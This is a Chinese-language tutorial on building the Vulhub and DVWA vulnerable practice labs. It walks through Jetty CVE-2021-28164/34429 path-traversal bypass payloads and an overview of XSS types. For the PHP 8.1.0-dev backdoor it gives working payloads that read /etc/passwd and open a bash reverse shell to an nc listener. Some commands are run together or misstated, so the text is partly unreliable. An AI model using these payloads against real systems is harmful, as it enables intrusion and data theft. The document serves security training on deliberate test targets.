VulhubDVWA靶场环境搭建及使用
文章目录
- 1. 创建虚拟机
- 2. Vulhub靶场
- 2.1 Vulhub漏洞靶场作用
- 2.2 Vulhub靶场搭建
- 2.2.1 搭建注意事项
- 2.3 Jetty系列漏洞
- 2.3.1 CVE-2021-28164
- 2.3.2 CVE-2021-34429
- 2.4 PHP-8.1.0-dev后门命令执行漏洞
- 3.DVWA靶场
- 3.1 DVWA靶场搭建
- 3.2 DVWA介绍
- 3.2.1 DVWA的安全级别
- 3.2.2 DVWA攻击模块
- 3.3 XSS漏洞
- 3.3.1 XSS是什么
- 3.3.2反射型XSS复现
- 3.3.3 存储型XSS复现
- 3.3.4 dom型XSS复现
1. 创建虚拟机
虚拟机:内存8G、硬盘50GB、CPU4核
这个配置可以满足大多数对于靶场的要求
操作系统推荐Ubuntu 20.04 LTS 或更高版本,其他系统也可比如Kali 都行
2. Vulhub靶场
2.1 Vulhub漏洞靶场作用
Vulhub靶场作用:Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单
2.2 Vulhub靶场搭建
- 安装python:
curl -s https://bootstrap.pypa.io/get-pip.py | python3
- 安装最新版docker:
curl -s https://get.docker.com/ | sh
- 启动docker服务
systemctl start docker
4、下载项目
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zipunzip vulhub-master.zipcd vulhub-master
- 进入到某个漏洞/环境的目录
cd flask/ssti
- 自动化编辑环境
docker compose build
- 启动整个环境
docker compose up -d
- 漏洞环境使用完成后,删除环境
docker compose up -d
2.2.1 搭建注意事项
在步骤7中启动整个环境,可能会出现问题,提示
- 这个需要配置docker的镜像加速器
sudo vim /etc/docker/daemon.json{"registry-mirrors": ["https://xxxx.mirror.aliyuncs.com"]
}
- 配置完成后重启docker
sudo systemctl daemon-reloadsudo systemctl restart docker
- 再次启动整个环境
docker compose up -d
- 假如还是执行失败,可以手动拉取镜像
docker pull vulhub/jetty:9.4.40
2.3 Jetty系列漏洞
Jetty是轻量级的Java Web服务器和 Servlet容器,主要用于部署和运行Java web应用,Jetty相比较于Tomact特点
Jetty特点:轻量级、模块化的架构,启动速度快(适合频繁重启的微服务),资源占用低,适用于微服务、嵌入式、云原生。
Tomcat特点:重量级、功能全面的架构,启动速度较慢,资源占用较高,适用于传统企业级应用
2.3.1 CVE-2021-28164
- 环境地址
https://github.com/vulhub/vulhub/tree/master/jetty/CVE-2021-28164
- 启动docker
cd /vulhub/jetty/CVE-2021-28164docker-compose up -d
然后访问 http://x.x.x.x:8080,若出现这个界面说明搭建成功
使用 curl -I http://x.x.x.x:8080 可以看到Jetty版本
2.3.2 CVE-2021-34429
Jetty 在9.4.40后修复了因为 ‘%2e’ 导致的敏感信息泄露漏洞,但是这个修复是不完全的,可以通过这几种方式绕过
- unicode形式URL编码:
/%u002e/WEB-INF/web.xml
\0
组合.
导致的绕过:/.%00/WEB-INF/web.xml
\0
组合..
导致的绕过:/a/b/..%00/WEB-INF/web.xml
这个漏洞是CVE-2021-28164和CVE-2021-28169的新的绕过方式。
影响版本:
9.4.37 ≤ Eclipse Jetty ≤ 9.4.42
10.0.1 ≤ Eclipse Jetty ≤ 10.0.5
11.0.1 ≤ Eclipse Jetty ≤ 11.0.5
环境地址
https://github.com/vulhub/vulhub/tree/master/jetty/CVE-2021-28164
启动docker
cd /vulhub/jetty/CVE-2021-34429docker-compose up -d
然后访问 http://x.x.x.x:8080,若出现这个界面说明搭建成功
使用 curl -I http://x.x.x.x:8080 可以看到Jetty版本
使用Burpsuite发送GET请求 /%u002e/WEB-INF/web.xml即可读取到web.xml文件
最后删除环境
docker compose down -v
参考文章:https://cloud.tencent.com/developer/article/1865616
2.4 PHP-8.1.0-dev后门命令执行漏洞
参考文章:PHP-8.1.0-dev 后门命令执行漏洞复现
复现流程概述:
进入Vulhub靶场该漏洞环境目录下: cd …/vulhub-master/php/8.1-backdoor
启动漏洞环境:docker-compose up -d
启动完成后在浏览器访问以下地址出现Hello world表示搭建成功:http://x.x.x.x:8080/
访问漏洞页面,然后打开Burpsuite抓取首页的包并发送到Repeater(重放)模块
在数据包中添加User-Agentt: 字段并在后面添加上测试漏洞poc:user-agentt: zerodiumvar_dump(3*7);
将字段后面poc修改为zerodiumsystem(“cat /etc/passwd”);读取文件
修改payload执行反弹shell,打开一台kali-linux并设置监听,将poc修改为以下反弹shell的poc: kali 中 设置监听:
a. 先开放6678端口b. 执行nc -lvvp 6678c. 执行zerodiumsystem("bash -c 'exec bash -i >& /dev/tcp/x.x.x.x/6678 0>&1'");
- 执行上述步骤1-3,漏洞环境搭建成功验证http://x.x.x.x:8080/
-
步骤4:访问漏洞页面,然后打开Burpsuite抓取首页的包并发送到Repeater(重放)模块
-
步骤5:在数据包中添加User-Agentt: 字段并在后面添加上测试漏洞poc:
user-agentt: zerodiumvar_dump(3*7);
-
步骤6:将字段后面poc修改为zerodiumsystem(“cat /etc/passwd”);读取文件
-
步骤7:kali-linux 中 设置监听:1.先开放6678端口 2.nc -lvvp 6678
修改payload执行反弹shell,打开一台kali-linux并设置监听,将poc修改为以下反弹shell的poc:
zerodiumsystem("bash -c 'exec bash -i >& /dev/tcp/x.x.x.x/6678 0>&1'");
查看反弹Shell是否成功
3.DVWA靶场
3.1 DVWA靶场搭建
- 更新系统:
sudo apt update && sudo apt upgrade -y
- 安装LAMP环境:
安装Apache:
sudo apt install apache2 -y
启动并启用Apache服务:
sudo systemctl start apache2
sudo systemctl enable apache2
- 安装MYSQL
sudo apt install mysql-server -y
启动并启用MySQL服务:
sudo systemctl start mysql
sudo systemctl enable mysql
运行安全脚本以保护MySQL安装:
sudo mysql_secure_installation
按照提示设置root密码并回答相关问题
- 安装PHP
sudo apt install php libapache2-mod-php php-mysql -y
安装完成后,重启Apache:
sudo systemctl restart apache2
- 下载DVWA
下载DVWA
cd /var/www/html
sudo git clone https://github.com/digininja/DVWA.git
设置权限
sudo chown -R www-data:www-data /var/www/html/DVWA
sudo chmod -R 755 /var/www/html/DVWA
- 配置DVWA
复制DVWA配置文件:
cd /var/www/html/DVWA/config
sudo cp config.inc.php.dist config.inc.php
编辑配置文件:
sudo nano config.inc.php
找到以下行并进行修改:
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = 'your_mysql_root_password';
保存并退出。
保存文件:ctrl+O
退出nano:ctrl+X
- 创建DVWA数据库
登录MySQL:
sudo mysql -u root -p
创建DVWA数据库和用户:
CREATE DATABASE dvwa;
CREATE USER 'dvwa'@'localhost' IDENTIFIED BY 'dvwa';
GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa'@'localhost';
FLUSH PRIVILEGES;
exit;
- 配置Apache
确保Apache已启用必要的模块:
sudo a2enmod rewrite
sudo systemctl restart apache2
- 访问DVWA
http://x.x.x.x/DVWA/setup.php
点击“Create / Reset Database”按钮以初始化数据库。
- 登录DVWA
默认登录凭证:
用户名:admin
密码:password
3.2 DVWA介绍
3.2.1 DVWA的安全级别
手动设置DVWA靶机源码的安全级别:
- LOW级别:基本没什么防护措施
- Medium级别:难度稍微提升一点,加入一些基础的防护措施
- High级别:难度提升很多,防护措施非常严格,漏洞利用难度大幅提升
- Impossible级别:最高难度,防护措施几乎完美,漏洞被彻底封死
3.2.2 DVWA攻击模块
- Brute Force (暴力破解):针对用户登录模块,对用户名、口令的暴力破解。
- Command Injection (命令行注入):通过特殊方法,在一个关联到命令行的文本中加入非法命令,实现命令行注入。
- CSRF (跨站请求伪造):利用简单身份认证无法确认请求是否为客户本意的漏洞,利用一些方法使受害者的浏览器发出非其本意的请求,而由于受害者的客户端信息仍然有效,服务器认为这个请求也有效,达成攻击目的。
- File Inclusion (文件包含漏洞):开发人员在开发PHP等脚本语言应用程序时,将函数写在单个其他文件中,需要使用是只需要调用这个文件就可以使用函数。为了灵活性,有些被包含的文件被设置为变量,以进行动态调用,产生了文件包含漏洞。通过改变变量,使程序包含另一个文件,从而调用一个意料之外的函数,达成攻击目的。
- File Upload (文件上传漏洞):服务器未检查用户上传的文件内容,导致意外执行攻击者上传的攻击脚本或WebShell,达成攻击目的。
- Insecure CAPTCHA (不安全的验证码):实质上是验证码验证逻辑存在漏洞,可能导致非法绕过。
- SQL Injection (SQL 注入):通过SQL语法的相关技巧,进行恶意语句的注入,通过回显、报错等途径获取其他数据,从而能够探查数据库信息。
- SQL Injection Blind(SQL 盲注):与普通SQL注入相区分,一般没有回显和错误显示(所以称为Blind),需要通过时间等其他手段进行信息探查。
- Weak Session IDs (弱会话ID):与HTTP协议拓展的会话控制(Cookie等)相关。如果可以用某种方法得知目标用户的Session ID,就可以冒充目标用户的身份与服务器通信。
- XSS(DOM) (跨站脚本攻击(DOM型)):利用DOM (文档对象模型),使用特定方式将恶意代码注入到网页中,使用户加载执行,实现用户会话信息泄露或执行高权限指令等攻击目的。
- XSS (Reflected) (反射型XSS):设计一个包含JS代码的请求,随后这些代码被反射到提出请求的用户,从而实现跨站脚本攻击。
- XSS (Stored) (存储型XSS):攻击者提前上传恶意代码(通过文本等)到服务器,然后通过某种方式,在网页中的这段代码被执行并对所有访问这个页面的用户造成危害。
- CSP Bypass (内容安全策略绕过):使用某些特殊的技巧,使非法代码等恶意内容绕过服务器的内容审查策略,并上传到服务器
- JavaScript (JavaScript 攻击):通过JavaScript审计等手段,修改前端代码以实现攻击目的
3.3 XSS漏洞
3.3.1 XSS是什么
XSS是跨站脚本攻击,攻击者通过网站输入框输入payload(脚本代码),当用户访问网页时,恶意payload自动加载并执行,以达到攻击者目的(窃取cookie、恶意传播、钓鱼欺骗等),这是为了与HTML中的CSS作区分所以称为XSS。
XSS分3类:
- 反射性
- 存储型
- dom型
3.3.2反射型XSS复现
反射性XSS特点:只会执行一次
主要存在于攻击者将payload附加到url参数中,服务端没有经过严格的过滤输出到用户浏览器中,导致恶意代码被执行。
DVWA靶场复现:
先设置DVWa靶场的难度为 low
输入测试发现只输出了alert(1)
一般攻击者可以直接通过一些方式让受害者点击一个链接,然后这个链接就会拿到受害者在这个页面的cookie,获取到当前页面的cookie后,就可以借用这个cookie以用户的名义去登录网页
3.3.3 存储型XSS复现
存储型XSS特点:持久型
主要存在于攻击者将恶意脚本存储到服务器数据库中,当用户访问包含恶意相关数据的页面时,服务端未经严格过滤处理而输出在用户浏览器中,导致浏览器执行代码数据
分析一下:
存储型的XSS漏洞威胁更大,即不需要用户做出点击链接的动作,直接写死在数据库中,当用户进入含有存储型XSS漏洞的页面时,根据攻击者制定的策略,来截获受害者的个人信息
DVWA靶场复现:
攻击者登录到这个页面后,在类似于留言板的地方,注入XSS攻击代码,这样所有的其他用户只要点击到这个位置就会执行XSS的代码
然后可以使用另一个浏览器登录另一个用户的账号,一点再次点击到XSS(Stored),就会弹出窗口,这样的攻击方式,简单高效,不用通过一些诱导用户点击某个链接,而是直接中招
3.3.4 dom型XSS复现
dom型特点,通过JavaScript操作document,实现dom树的重构
DOM型XSS最大的特点就是前端通过JS来渲染完成数据的交互,达到插入数据造成XSS脚本攻击,且不经过服务器,所以即使抓包也无法抓取到这个的流量,而反射性与存储型XSS都需要与服务器交互,这个就是DOM型最大的特点。
靶场复现: